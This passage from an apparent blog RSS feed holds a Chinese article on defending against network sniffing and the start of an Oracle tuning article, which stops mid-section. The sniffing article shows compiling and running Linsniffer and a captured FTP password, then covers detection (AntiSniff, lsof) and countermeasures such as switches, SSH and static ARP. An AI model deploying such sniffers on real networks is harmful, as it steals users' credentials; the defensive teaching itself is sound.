href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>防范网络嗅探</title><link>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215629.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 15 Aug 2005 13:56:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215629.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/215629.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215629.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/215629.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/215629.html</trackback:ping><description><![CDATA[<P>防范网络嗅探</P>
<P>作者：自由的猪</P>
<P>最普遍的安全威胁来自内部，同时这些威胁通常都是致命的，其破坏性也远大于外部威胁。其中网络嗅探对于安全防护一般的网络来说，操作简单同时威胁巨大，很多黑客也使用嗅探器进行网络入侵的渗透。 </P>
<P>网络嗅探器对信息安全的威胁来自其被动性和非干扰性，使得网络嗅探具有很强的隐蔽性，往往让网络信息泄密变得不容易被发现。本文分析了网络嗅探的原理，分析了一些实例，提出解决方案和介绍实践经验。 </P>
<P>一 嗅探器攻击原理 </P>
<P>嗅探器(sniffer) 是利用计算机的网络接口截获目的地为其他计算机的数据报文的一种技术。它工作在网络的底层，把网络传输的全部数据记录下来. 嗅探器可以帮助网络管理员查找网络漏洞和检测网络性能。嗅探器可以分析网络的流量,以便找出所关心的网络中潜在的问题。 </P>
<P>不同传输介质的网络的可监听性是不同的。一般来说，以太网被监听的可能性比较高，因为以太网是一个广播型的网络；FDDI Token被监听的可能性也比较高，尽管它并不是一个广播型网络，但带有令牌的那些数据包在传输过程中，平均要经过网络上一半的计算机；微波和无线网被监听的可能性同样比较高，因为无线电本身是一个广播型的传输媒介，弥散在空中的无线电信号可以被很轻易的截获。一般情况下，大多数的嗅探器至少能够分析下面的协议： </P>
<P>标准以太网 </P>
<P>TCP/IP </P>
<P>IPX </P>
<P>DECNET </P>
<P>FDDI Token </P>
<P>微波和无线网。 </P>
<P>实际应用中的嗅探器分软、硬两种。软件嗅探器便宜易于使用，缺点是往往无法抓取网络上所有的传输数据(比如碎片)，也就可能无法全面了解网络的故障和运行情况；硬件嗅探器的通常称为协议分析仪，它的优点恰恰是软件嗅探器所欠缺的，但是价格昂贵。目前主要使用的嗅探器是软件的。 </P>
<P>嗅探器捕获真实的网络报文。嗅探器通过将其置身于网络接口来达到这个目的--例如将以太网卡设置成杂收模式。数据在网络上是以帧(Frame)的单位传输的。帧通过特定的称为网络驱动程序的软件进行成型，然后通过网卡发送到网线上。通过网线到达它们的目的机器，在目的机器的一端执行相反的过程。接收端机器的以太网卡捕获到这些帧，并告诉操作系统帧的到达，然后对其进行存储。就是在这个传输和接收的过程中，每一个在LAN上的工作站都有其硬件地址。这些地址唯一地表示着网络上的机器。当用户发送一个报文时，这些报文就会发送到LAN上所有可用的机器。在一般情况下，网络上所有的机器都可以"听"到通过的流量，但对不属于自己的报文则不予响应。如果某在工作站的网络接口处于杂收模式，那么它就可以捕获网络上所有的报文和帧，如果一个工作站被配置成这样的方式，它（包括其软件）就是一个嗅探器。这也是嗅探器会造成安全方面的问题的原因。通常使用嗅探器的入侵者，都必须拥有基点用来放置嗅探器。对于外部入侵者来说，能通过入侵外网服务器、往内部工作站发送木马等获得需要，然后放置其嗅探器，而内部破坏者就能够直接获得嗅探器的放置点，比如使用附加的物理设备作为嗅探器(例如，他们可以将嗅探器接在网络的某个点上，而这个点通常用肉眼不容易发现。除非人为地对网络中的每一段网线进行检测，没有其他容易方法能够识别出这种连接(当然，网络拓扑映射工具能够检测到额外的IP地址)。</P>
<P>嗅探器可能造成的危害： </P>
<P>嗅探器能够捕获口令； </P>
<P>能够捕获专用的或者机密的信息； </P>
<P>可以用来危害网络邻居的安全，或者用来获取更高级别的访问权限； </P>
<P>分析网络结构，进行网络渗透。 </P>
<P>二 嗅探器攻击实例 </P>
<P>Linux、Unix环境下的嗅探器有：Tcpdump、Nmap、Linuxsniffer、hunt、sniffit 等。Linsniffer是一个简单实用的嗅探器。它主要的功能特点是用来捕捉用户名和密码，它在也这方面非常出色。注：编译该软件需要所在的Linux系统上必须的网络包含文件（tvp.h、ip.h、inet.hif_t、her.h）。 虽然这个工具易于使用，但是Linsniffer需要完整的IP头文件，包括常常存储在/usr/include/net和 /usr/include/netinet的头文件，在编译前确保PATH变量包含/usr/include。 </P>
<P>获得这个软件后，进入src目录，使用下面的命令来编译Linsniffer： $ cc linsniffer.c -o linsniffer </P>
<P>要运行Linsniffer，使用下面的命令：$ linsniffer </P>
<P>启动以后linsniffer将创建一个空文件：tcp.log来存储嗅探结果。 </P>
<P>举例说明，在一台测试的Linux服务器中创建一个名为&#8220;goodcjh&#8221;的用户，密码为&#8220;fad&#8221;。然后在主机CJH上使用该用户来登录这台Linux服务器，并进行一些常见的用户操作。下面是进行的一次ftp过程： </P>
<P>CJH$ ftp <A href="http://www.red.net/">www.red.net</A> <BR>Connected to <A href="http://www.red.net/">www.red.net</A>. <BR>220 <A href="http://www.red.net/">www.red.net</A> FTP server Wed Aug 19 02:55:52 MST 2002) ready. <BR>Name (<A href="http://www.red.net:root/">www.red.net:root</A>): goodcjh <BR>331 Password required for goodcjh. <BR>Password: <BR>230 User goodcjh logged in. <BR>Remote system type is UNIX. <BR>Using binary mode to transfer files. <BR>ftp&gt; ls -al <BR>200 PORT command successful. <BR>150 Opening ASCII mode data connection for /bin/ls. <BR>total 14 <BR>drwxrwxr-x 4 goodcjh goodcjh 1024 May 20 19:35 . <BR>drwxr-xr-x 6 root root 1024 May 20 19:28 .. <BR>-rw-rw-r-- 1 goodcjh goodcjh 96 May 20 19:56 .bash_history <BR>-rw-r--r-- 1 goodcjh goodcjh 49 Nov 25 2002 .bash_logout <BR>-rw-r--r-- 1 goodcjh goodcjh 913 Nov 24 2002 .bashrc <BR>-rw-r--r-- 1 goodcjh goodcjh 650 Nov 24 2002 .cshrc <BR>-rw-r--r-- 1 goodcjh goodcjh 111 Nov 3 2002 .inputrc <BR>-rwxr-xr-x 1 goodcjh goodcjh 186 Sep 1 2002 .kshrc <BR>-rw-r--r-- 1 goodcjh goodcjh 392 Jan 7 2002 .login <BR>-rw-r--r-- 1 goodcjh goodcjh 51 Nov 25 2002 .logout <BR>-rw-r--r-- 1 goodcjh goodcjh 341 Oct 13 2002 .profile <BR>-rwxr-xr-x 1 goodcjh goodcjh 182 Sep 1 2002 .profile.ksh <BR>drwxr-xr-x 2 goodcjh goodcjh 1024 May 14 12:16 .seyon <BR>drwxr-xr-x 3 goodcjh goodcjh 1024 May 14 12:15 lg <BR>226 Transfer complete. <BR>ftp&gt; ls <BR>200 PORT command successful. <BR>150 Opening ASCII mode data connection for /bin/ls. <BR>total 14 <BR>drwxrwxr-x 4 goodcjh goodcjh 1024 May 20 19:35 . <BR>drwxr-xr-x 6 root root 1024 May 20 19:28 .. <BR>-rw-rw-r-- 1 goodcjh goodcjh 96 May 20 19:56 .bash_history <BR>-rw-r--r-- 1 goodcjh goodcjh 49 Nov 25 2002 .bash_logout <BR>-rw-r--r-- 1 goodcjh goodcjh 913 Nov 24 2002 .bashrc <BR>-rw-r--r-- 1 goodcjh goodcjh 650 Nov 24 2002 .cshrc <BR>-rw-r--r-- 1 goodcjh goodcjh 111 Nov 3 2002 .inputrc <BR>-rwxr-xr-x 1 goodcjh goodcjh 186 Sep 1 2002 .kshrc <BR>-rw-r--r-- 1 goodcjh goodcjh 392 Jan 7 2002 .login <BR>-rw-r--r-- 1 goodcjh goodcjh 51 Nov 25 2002 .logout <BR>-rw-r--r-- 1 goodcjh goodcjh 341 Oct 13 2002 .profile <BR>-rwxr-xr-x 1 goodcjh goodcjh 182 Sep 1 2002 .profile.ksh <BR>drwxr-xr-x 2 goodcjh goodcjh 1024 May 14 12:16 .seyon <BR>drwxr-xr-x 3 goodcjh goodcjh 1024 May 14 12:15 lg <BR>226 Transfer complete. <BR>ftp&gt; ls -F <BR>200 PORT command successful. <BR>150 Opening ASCII mode data connection for /bin/ls. <BR>total 14 <BR>drwxrwxr-x 4 goodcjh goodcjh 1024 May 20 19:35 ./ <BR>drwxr-xr-x 6 root root 1024 May 20 19:28 ../rw-rw-r-- 1 goodcjh goodcjh 96 May 20 19:56 .bash_history <BR>-rw-r--r-- 1 goodcjh goodcjh 49 Nov 25 2002 .bash_logout <BR>-rw-r--r-- 1 goodcjh goodcjh 913 Nov 24 2002 .bashrc <BR>-rw-r--r-- 1 goodcjh goodcjh 650 Nov 24 2002 .cshrc <BR>-rw-r--r-- 1 goodcjh goodcjh 111 Nov 3 2002 .inputrc <BR>-rwxr-xr-x 1 goodcjh goodcjh 186 Sep 1 2002 .kshrc* <BR>-rw-r--r-- 1 goodcjh goodcjh 392 Jan 7 2002 .login <BR>-rw-r--r-- 1 goodcjh goodcjh 51 Nov 25 2002 .logout <BR>-rw-r--r-- 1 goodcjh goodcjh 341 Oct 13 2002 .profile <BR>-rwxr-xr-x 1 goodcjh goodcjh 182 Sep 1 2002 .profile.ksh* <BR>drwxr-xr-x 2 goodcjh goodcjh 1024 May 14 12:16 .seyon/ <BR>drwxr-xr-x 3 goodcjh goodcjh 1024 May 14 12:15 lg/ <BR>226 Transfer complete. <BR>ftp&gt; cd lg <BR>250 CWD command successful. <BR>ftp&gt; ls -F <BR>200 PORT command successful. <BR>150 Opening ASCII mode data connection for /bin/ls. <BR>total 8 <BR>drwxr-xr-x 3 goodcjh goodcjh 1024 May 14 12:15 ./ <BR>drwxrwxr-x 4 goodcjh goodcjh 1024 May 20 19:35 ../rw-r--r-- 1 goodcjh goodcjh 70 Aug 22 2002 lg3_colors <BR>-rw-r--r-- 1 goodcjh goodcjh 629 Aug 22 2002 lg3_prefs <BR>-rw-r--r-- 1 goodcjh goodcjh 728 Aug 22 2002 lg3_soundPref <BR>-rw-r--r-- 1 goodcjh goodcjh 2024 Aug 22 2002 lg3_startup <BR>drwxr-xr-x 2 goodcjh goodcjh 1024 May 14 12:15 lg_layouts/ <BR>226 Transfer complete. <BR>ftp&gt; cd lg_layouts <BR>250 CWD command successful.<BR>&nbsp;<BR>上面是一个典型的用户操作过程。现在我们看看Linsniffer产生的嗅探结果: </P>
<P>CJH =&gt; <A href="http://www.red.net/">www.red.net</A> [21] <BR>USER goodcjh <BR>PASS fad <BR>SYST <BR>PORT 172,16,0,1,4,192 <BR>LIST -al <BR>PORT 172,16,0,1,4,193 <BR>LIST <BR>PORT 172,16,0,1,4,194 <BR>LIST -F <BR>CWD lg <BR>PORT 172,16,0,1,4,195 <BR>LIST -F<BR>&nbsp;<BR>输出的内容是很直观的。首先它记录这是从主机 CJH 到 Linux 主机 <A href="http://www.red.net/">www.red.net</A> 的 FTP 连接：主机 CJH =&gt; linux.red.net [21]。然后，Linsniffer 捕获了 goodcjh 的用户名和密码。最后，Linsniffer 记录了用户 goodcjh 使用的每一个命令： </P>
<P>SYST <BR>PORT 172,16,0,1,4,192 <BR>LIST -al <BR>PORT 172,16,0,1,4,193 <BR>LIST <BR>PORT 172,16,0,1,4,194 <BR>LIST -F <BR>CWD lg <BR>PORT 172,16,0,1,4,195 <BR>LIST -F</P>
<P>可见，Linsniffer 的输出结果非常简洁，并且非常适于窃听密码及记录常见的活动。但缺点是不适合于进行更加复杂的分析。 </P>
<P>嗅探器可以帮助网络管理员查找网络漏洞和检测网络性能。嗅探器是一把双刃剑,它也有很大的危害性。嗅探器的攻击非常普遍。一个位置好的嗅探器可以捕获成千上万个口令。1994年一个最大的嗅探器攻击被发现. 这次攻击被认为是危害最大的一次，许多可以FTP，Telnet或远程登陆的主机系统都受到了危害。在这件事故(攻击者处于Rahul.net)中，嗅探器只运行18小时。在这段时间里，有几百台主机被泄密。&#8220;受攻击者包括268个站点，包括MIT、美国海军和空军、Sun、IBM、NASA、和加拿大、比利时大学一些主机&#8230;&#8230;&#8221; </P>
<P>三 嗅探器的安全防范 </P>
<P>1、检测嗅探器。 </P>
<P>检测嗅探器可以采用检测混杂模式网卡的工具。由于嗅探器需要将网络中入侵的网卡设置为混杂模式才能工作，能够检测混杂模式网卡的AntiSniff是一个工具。软件可以在<A href="http://www.l0pht.com/antisniff/">http://www.l0pht.com/antisniff/</A>下载，另外还有详细的使用说明。 </P>
<P>证明你的网络有嗅探器有两条经验： </P>
<P>网络通讯丢包率非常高： 通过一些网管软件，可以看到信息包传送情况，最简单是ping命令。它会告诉你掉了百分之多少的包。如果你的网络结构正常，而又有20％－30％数据包丢失以致数据包无法顺畅的流到目的地。就有可能有人在监听，这是由于嗅探器拦截数据包导致的。 </P>
<P>网络带宽出现反常：通过某些带宽控制器，可以实时看到目前网络带宽的分布情况，如果某台机器长时间的占用了较大的带宽，这台机器就有可能在监听。应该也可以察觉出网络通讯速度的变化。 </P>
<P>对于SunOS、和其它BSD Unix系统可以使用lsof(该命令显示打开的文件)来检测嗅探器的存在。lsof的最初的设计目地并非为了防止嗅探器入侵，但因为在嗅探器入侵的系统中，嗅探器会打开其输出文件，并不断传送信息给该文件，这样该文件的内容就会越来越大。如果利用lsof发现有文件的内容不断的增大，我们就怀疑系统被嗅探。因为大多数嗅探器都会把截获的"TCP/IP"数据写入自己的输出文件中。这里可以用：ifconfig le0检查端口.然后用： </P>
<P>＃/usr/sbin/lsof &gt;test </P>
<P>＃vi test 或 grep [打开的端口号] </P>
<P>检测文件大小的变化。 </P>
<P>注意如果你确信有人接了嗅探器到自己的网络上，可以去找一些进行验证的工具。这种工具称为时域反射计量器(Time Domaio Reflectometer，TDR)。TDR对电磁波的传播和变化进行测量。将一个TDR连接到网络上，能够检测到未授权的获取网络数据的设备。不过很多中小公司没有这种价格昂贵的工具。 </P>
<P>2、将数据隐藏，使嗅探器无法发现。 </P>
<P>嗅探器非常难以被发现, 因为它们是被动的程序一个老练的攻击者可以轻易通过破坏日志文件来掩盖信息。它们并不会给别人留下进行核查的尾巴.。完全主动的解决方案很难找到，我们可以采用一些被动的防御措施： </P>
<P>安全的拓扑结构； </P>
<P>会话加密； </P>
<P>用静态的ARP或者IP－MAC对应表代替动态的。 </P>
<P>安全的拓扑结构： </P>
<P>嗅探器只能在当前网络段上进行数据捕获。这就意味着，将网络分段工作进行得越细，嗅探器能够收集的信息就越少。但是，除非你的公司是一个ISP，或者资源相对不受限制，否则这样的解决方案需要很大的代价。网络分段需要昂贵的硬件设备。有三种网络设备是嗅探器不可能跨过的：交换机、路由器、网桥。我们可以通过灵活的运用这些设备来进行网络分段。大多数早期建立的内部网络都使用HUB集线器来连接多台工作站，这就为网络中数据的泛播(数据向所有工作站流通)，让嗅探器能顺利地工作提供了便利。普通的嗅探器程序只是简单地进行数据的捕获，因此需要杜绝网络数据的泛播。 随着交换机的价格下降，网络改造变得可行且很必要了。不使用HUB而用交换机来连接网络，就能有效地避免数据进行泛播，也就是避免让一个工作站接收任何非与之相关的数据。 对网络进行分段，比如在交换机上设置VLAN，使得网络隔离不必要的数据传送。一般可以采用20个工作站为一组，这是一个比较合理的数字。然后，每个月人为地对每段进行检测(也可以每个月采用MD5随机地对某个段进行检测)。网络分段只适应于中小的网络。如果有一个500个工作站的网络，分布在50个以上的部门中，那么完全的分段的成本上是很高的。 </P>
<P>会话加密： </P>
<P>会话加密提供了另外一种解决方案。不用特别地担心数据被嗅探，而是要想办法使得嗅探器不认识嗅探到的数据。这种方法的优点是明显的：即使攻击者嗅探到了数据，这些数据对他也是没有用的。S/key和其它一次性口令技术一样，使窃听帐号信息失去意义。S/key的原理是远程主机已得到一个口令（这个口令不会在不安全的网络中传输），当用户连接时会获得一个"挑战"(challenge)信息，用户将这个信息和口令经过某个算法运算，产生正确的"响应"(response)信息（如果通讯双方口令正确的话）。这种验证方式无需在网络中传输口令，而且相同的"挑战/响应"也不会出现两次。S/key可从以下网址得到：<A href="ftp://thumper.bellcore.com/pub/nmh/skey">ftp://thumper.bellcore.com/pub/nmh/skey</A>。它的缺点是所有帐号信息都存放在一台主机中，如果该主机被入侵，则会危及整个网络安全。另外配置它也不是一件简单的事情。Kerberos包括流加密rlogind和流加密telnetd等，它可以防止入侵者捕获用户在登录完成后所进行的操作。 在加密时有两个主要的问题：一个是技术问题，一个是人为问题。 </P>
<P>技术是指加密能力是否高。例如，64位的加密就可能不够，而且并不是所有的应用程序都集成了加密支持。而且，跨平台的加密方案还比较少见，一般只在一些特殊的应用之中才有。人为问题是指，有些用户可能不喜欢加密，他们觉得这太麻烦。用户可能开始会使用加密，但他们很少能够坚持下。总之我们必须寻找一种友好的媒介-使用支持强大这样的应用程序，还要具有一定的用户友好性。使用secure shell、secure copy或者IPV6协议都可以使得信息安全的传输。传统的网络服务程序，SMTP、HTTP、FTP、POP3和Telnet等在本质上都是不安全的，因为它们在网络上用明文传送口令和数据，嗅探器非常容易就可以截获这些口令和数据.SSH的英文全称是Secure Shell。通过使用SSH，你可以把所有传输的数据进行加密，这样"中间服务器"这种攻击方式就不可能实现了，而且也能够防止DNS和IP欺骗。还有一个额外的好处就是传输的数据是经过压缩的，所以可以加快传输的速度。SSH有很多功能，它既可以代替telnet，又可以为ftp、pop、甚至ppp提供一个安全的"通道"。SSH绑定在端口22上，其连接采用协商方式使用RSA加密。身份鉴别完成之后，后面的所有流量都使用IDEA进行加密。SSH（Secure　Shell）程序可以通过网络登录到远程主机并执行命令。SSH的加密隧道保护的只是中间传输的安全性，使得任何通常的嗅探工具软件无法获取发送的内容。它提供了很强的安全验证可以在不安全的网络中进行安全的通信.所以它是防范嗅探器的一种方法。 </P>
<P>用静态的ARP或者IP－MAC对应表代替动态的ARP或者IP－MAC对应表。 </P>
<P>该措施主要是进行渗透嗅探的防范，采用诸如ARP欺骗手段能够让入侵者在交换网络中顺利完成嗅探。网络管理员需要对各种欺骗手段进行深入了解，比如嗅探中通常使用的ARP欺骗，主要是通过欺骗进行ARP动态缓存表的修改。在重要的主机或者工作站上设置静态的ARP对应表，比如win2K系统使用arp命令设置，在交换机上设置静态的IP-MAC对应表等，防止利用欺骗手段进行嗅探的手法。 </P>
<P>除了以上三点另外还要重视重点区域的安全防范 。这里说的重点区域，主要是针对嗅探器的放置位置而言。入侵者要让嗅探器发挥较大功效，通常会把嗅探器放置在数据交汇集中区域，比如网关、交换机、路由器等附近，以便能够捕获更多的数据。因此，对于这些区域就应该加强防范，防止在这些区域存在嗅探器。 </P>
<P>四 防范嗅探器应用案例 </P>
<P>1、Linux下SSH安装 </P>
<P>在<A href="http://www.ssh.com/">www.ssh.com</A>，下载最新版本软件包SSH2，最好下载源程序软件包自己进行编译。 </P>
<P># tar -zxvf ssh2-2.4.0.tar.gz <BR># cd ssh2-2.4.0 <BR># ./configure ;# make ;#make install</P>
<P>这一过程实际上将服务器软件包及客户端软件一起安装了，不必再次安装客户端软件包。 安装程序将SSH2软件包安装在/usr/local/bin及/usr/local/sbin下。 </P>
<P>2、配置 </P>
<P>SSH的配置文件在/etc/ssh2下，其中包括sshd2的主机公钥和私钥：hostkey和hostkey.pub。这两个文件通常是在安装SSH时自动生成的。你可以通过下面的命令重新来生成它们：（而ssh2_config 文件一般情形下无需修改） </P>
<P># rm /etc/ssh2/hostkey* <BR># ssh-keygen2 -P /etc/ssh2/hostkey</P>
<P>3、启动SSH服务器 </P>
<P>在UNIX/Linux环境下，服务器程序放置在/usr/local/sbin目录下，启动方法如下： </P>
<P># sshd </P>
<P># ps x </P>
<P>如果不希望每次重启动系统，都要手工运行启动,在rc.local中加入一行/usr/local/sbin/sshd。 </P>
<P>4、使用SSH </P>
<P>安装好ssh之后，我们可以很方便地在远程服务器上利用ssh获得一个shell。例如，假设我执行： </P>
<P># ssh <A href="mailto:cjh@red.forge.net">cjh@red.forge.net</A> </P>
<P>首先看到系统提示输入密码，输入后我就在远程机器上获得了一个shell。从这里开始，ssh的会话过程和telnet会话相似。但SSH能够确信所有在我和服务器之间传输的数据都已经经过加密。如果你很熟悉rsh和它的选项，那么你很快就可以开始使用ssh。ssh被设计成和rsh具有相同的运作方式。一般情况下，能够用rsh作为传输端口的程序都允许用ssh来替代（例如rsync）。安全复制命令scp的用法也很简单，它的语法和cp的语法很相似。例如，要把my.php文件复制到cjh.org服务器，则我们使用如下命令： </P>
<P># scp my.php <A href="mailto:cjh@cjh.org:/usr/local/apache/htdocs/">cjh@cjh.org:/usr/local/apache/htdocs/</A> </P>
<P>此时，我们将看到密码输入提示（正如ssh）。接下来，本地机器当前目录下的my.php文件被复制到cjh.org的/usr/local/apache/htdocs/，使用的登录名字是cjh。从使用上看，与Telnet没有什么不同之处。而且有了SSH客户端软件，如果你要上传文件，不必向以前一样再开一个FTP窗口，再次认证，然后上传文件。使用SSH客户端自带的scp工具，就可以直接将文件上传到远端服务器上。 </P>
<P>scp命令是SSH中最方便有用的命令，如果告诉你在两台服务器之间直接传送文件，仅用scp-个命令就完全解决.你可以在一台服务器上以root身份运行: </P>
<P>#scp servername：/home／ftp／pub／file1．／ </P>
<P>这样就把另一台服务器上的文件/home／ftp／pub／file1直接传到本机器的当前目录下。 </P>
<P>以上我们讲的是技术方面，对于网络的安全，管理显得格外重要。除网络管理员外其他人员禁止在网络中使用任何嗅探工具包括一些企业高级管理人员，是完全有必要的。这能从制度上明确限制一些工作站主动使用嗅探器的情况。 </P>
<P>对于网络管理员来说更重要的是要建立安全意识，了解你的用户（系统管理员越熟悉自己的用户和用户的工作习惯，就越能快速发现不寻常的事件，而不寻常的事件往往意味着系统安全问题。）、定期检查你网络中的重点设备如服务器,交换机,路由器。最好配备一些专业工具比如前边介绍的TDR。网络管理员还要给用户提供安全服务。对用户要定期发送安全邮件,发送邮件是让用户具有安全意识。管理意识是提高安全性的另-个重要因素。如果用户的管理部门对安全要求不强烈，只靠系统管理员也不行。最好让管理部门建立一套每个人都必须遵守的安全标准，如果系统管理员在此基础再建立自己的安全规则，就强化了安全。管理有助于加强用户意识，让用户明确，信息是有价值的资产。系统管理员应当使安全保护方法对用户尽可能地简单，提供一些提高安全的工具。网络管理员要建立合理的用户痛苦量（痛苦量是指安全限制引起的抵制的函数），不能仅仅从技术上考虑问题，还要站在用户的观点上考虑。例如，我们能够想每次Macintosh用户登录时都使用S／Key吗?用户知道的关于安全的知识越多，网络安全就更有保障。 </P>
<P>五 总结 </P>
<P>嗅探器技术被广泛应用于网络维护和管理方面，它工作的时候就像一部被动声纳，默默的接收看来自网络的各种信息，通过对这些数据的分析，网络管理员可以深入了解网络当前的运行状况，以便找出网络中的漏洞。在网络安全日益被注意的今天.我们不但要正确使用嗅探器.还要合理防范嗅探器的危害.嗅探器能够造成很大的安全危害，主要是因为它们不容易被发现。对于一个安全性要求很严格的企业，在使用技术防范的同时安全管理的制度建设也是非常重要的。 </P>
<P>嗅探器技术并非尖端科技，只能说是安全领域的基础课题。对嗅探器技术的研究并不要求太多底层的知识，它并不神秘。实际上我们的一些网管软件，和一些网络测试仪都使用了嗅探器技术。只是许多计算机软件供应商对其一直讳莫如深。回避这个基本事实是不明智的。了解掌握它才是关键。这也笔者的写作动机。 </P><img src ="http://www.cnblogs.com/F4ncy/aggbug/215629.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48001/" target="_blank">上海电信计划2012年80%用户实现100M带宽</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>Oracle数据库性能优化技术</title><link>http://www.cnblogs.com/F4ncy/archive/2005/07/31/204215.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Sun, 31 Jul 2005 13:48:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/07/31/204215.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/204215.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/07/31/204215.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/204215.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/204215.html</trackback:ping><description><![CDATA[<P>Oracle数据库性能优化技术</P>
<P>作者: 李志敏 彭志刚</P>
<P>　　摘要： Oracle数据库是当前应用最广泛的大型数据库之一，而其性优化直接关系到系统的运行效率。本文以数据库性能优化的基本原则为出发点，阐述了在数据库设计阶段如何避免竞争和如何优化数据访问，在数据库运行阶段如何从操作系统和数据库实例级别上调整内存和I/O来达到数据库性能优化的各种技术。</P>
<P>　　1. 引言</P>
<P>　　随着网络应用和电子商务的不断发展，各个站点的访问量越来越大，数据库规模也随之不断的扩大，数据库系统的性能问题就越来越突出，因此，如何对数据库进行调优至关重要：如何使用有限的计算机系统资源为更多的用户服务？如何保证用户的响应速度和服务质量？这些问题都属于服务器性能优化的范畴。</P>
<P>　　作为全球第一大数据库厂商，Oracle数据库在国内外获得了诸多成功应用，据统计，全球93%的上市.COM公司、65家"财富全球100强"企业不约而同地采用Oracle数据库来开展电子商务。我国很多企业、政府单位及电子商务网站也采用了Oracle作为数据库服务器。Oracle数据库服务器是高度可优化的软件产品，经常性的调整可以优化应用系统的性能，防止出现系统瓶颈。</P>
<P>　　数据库性能优化的基本原则就是：通过尽可能少的磁盘访问获得所需要的数据。要评价数据库的性能，需要在数据库调节前后比较其评价指标：响应时间和吞吐量之间的权衡、数据库的可用性、数据库的命中率以及内存的使用效率，以此来衡量调节措施的效果和指导调整的方向。 </P>
<P>　　对Oracle数据库进行性能调整时，应当按照一定的顺序进行，因为系统在前面步骤中进行的调整可以避免后面的一些不必要调整或者代价很大的调整。一般来说可以从两个阶段入手：</P>
<P>　　1、设计阶段：对其逻辑结构和物理结构进行优化设计，使之在满足需求条件的情况下,系统性能达到最佳，系统开销达到最小；</P>
<P>　　2、数据库运行阶段：采取操作系统级、数据库级的一些优化措施来使系统性能最佳； <BR>　　2. 在系统设计开发阶段调整数据库</P>
<P>　　为了充分利用Oracle数据库的功能特性，在设计信息系统时，数据库设计人员需要根据业务情况（如访问量或客户端数量）和现有资源状况（如数据库服务器的配置）考虑系统结构和数据库的逻辑结构的设计：</P>
<P>　　2.1调整应用程序结构设计。</P>
<P>　　即应用程序采用的是传统的C/S两层体系结构，还是B/W/D三层体系结构。不同的应用程序体系结构要求的数据库资源是不同的。</P>
<P>　　2.2恰当使用分区、索引及存档功能。</P>
<P>　　如果某种业务的数据量增长非常快，可以考虑存放该业务的数据库表是否使用Oracle数据库的分区功能；对于经常访问的数据库表是否需要建立索引；对于经常访问但是当业务流程完成后不再变动的数据可采用放入历史档案的方法来实现应用系统中访问尽可能少的数据量。</P>
<P>　　2.3恰当编写访问数据的SQL语句。</P>
<P>　　良好的SQL语句可以被数据库重复使用而减少分析时间；恰当的使用索引可使访问的数据块大大减少从而减少响应时间。应用程序的执行最终将归结为数据库中的SQL语句执行，因此SQL语句的执行效率决定了Oracle数据库的性能。Oracle公司推荐使用Oracle语句优化器（Oracle Optimizer）和行锁管理器（row-level manager）来调整优化SQL语句。</P>
<P>　　2.4调整硬盘I/O</P>
<P>　　这一步是在信息系统开发之前完成的。数据库管理员可以将组成同一个表空间的数据文件放在不同的硬盘上，做到硬盘之间I/O负载均衡。在磁盘比较富裕的情况下还应该遵循以下原则：</P>
<P>　　 将表和索引分开；</P>
<P>　　 创造用户表空间，与系统表空间（system）分开磁盘；</P>
<P>　　 创建表和索引时指定不同的表空间；</P>
<P>　　 创建回滚段专用的表空间，防止空间竞争影响事务的完成；</P>
<P>　　 创建临时表空间用于排序操作，尽可能的防止数据库碎片存在于多个表空间中。</P>
<P>　　2.5确定数据块大小和存储参数。</P>
<P>　　由于数据库的块大小在数据库创建以后就不能在修改（除非重建数据库），因此为了减少数据链接和行迁移，又提高磁盘空间的利用率，在设计数据库时要确定合适的数据块大小和存储参数。通常我们是根据样例数据确定数据块大小，而根据业务现状和未来发展趋势确定存储参数。</P>
<P>　　3. 在数据库运行阶段调整数据库</P>
<P>　　数据库运行阶段调整数据库包括两个方面：操作系统级的调整；数据库级的调整。</P>
<P>　　3.1 操作系统级的调整</P>
<P>　　实施操作系统级调整的主要目的是减少内存交换，减少分页，使SGA(System Globle Area)可留驻内存。</P>
<P>　　3.1.1减少内存交换</P>
<P>　　内存交换（swapping）可能会造成很大的内存开销，应将它最小化。运行在Solaris Unix操作系统上的Oracle数据库，可利用vmstat或sar命令来检查交换，查看到系统级内存和硬盘I/O的使用情况，调整unix数据缓冲池的大小、每个进程所能使用的内存大小等参数。</P>
<P>　　 vmstat命令</P>
